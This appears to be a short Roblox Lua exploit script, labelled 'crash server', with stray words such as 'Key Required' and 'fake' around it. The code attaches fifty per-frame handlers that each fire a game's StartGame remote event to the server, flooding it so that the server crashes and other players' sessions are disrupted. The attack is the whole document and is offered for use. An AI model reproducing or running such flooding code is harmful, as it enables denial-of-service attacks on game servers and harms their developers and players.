
Key Required
-- @build-failed
-- crash server
local runservice = game:GetService("RunService")
local players = game:GetService("Players")
local localplayer = players.LocalPlayer
-- event --
local StartGameEvent = localplayer:WaitForChild("PlayerGui"):WaitForChild("ScreenUI"):WaitForChild("StartGame")
-- main loop --
for i = 1, 50 do
runservice.Heartbeat:Connect(function()
StartGameEvent:FireServer()
end)
end

fake